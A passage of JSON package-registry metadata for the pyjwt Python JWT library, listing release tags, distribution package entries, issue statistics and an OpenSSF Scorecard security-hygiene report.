anifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.318Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pyjwt?channel=23.05\u0026repository_url=https://channels.nixos.org/nixos-23.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-04T22:37:57.841Z","updated_at":"2026-03-04T22:37:57.841Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-23.05","url":"https://channels.nixos.org/nixos-23.05","ecosystem":"nixpkgs","default":false,"packages_count":101092,"maintainers_count":2622,"namespaces_count":0,"keywords_count":613,"github":"NixOS","metadata":{"funded_packages_count":183},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.882Z","updated_at":"2026-06-10T05:16:22.193Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/namespaces"}},{"id":6084502,"name":"py-jwt-cli","ecosystem":"alpine","description":"Python JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2018-11-26T16:32:32.000Z","latest_release_published_at":"2018-11-26T16:32:32.000Z","latest_release_number":"1.6.4-r0","last_synced_at":"2026-04-15T02:02:21.080Z","created_at":"2023-01-31T20:04:02.300Z","updated_at":"2026-05-29T04:00:35.748Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/py-jwt-cli","install_command":"apk add py-jwt-cli","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using 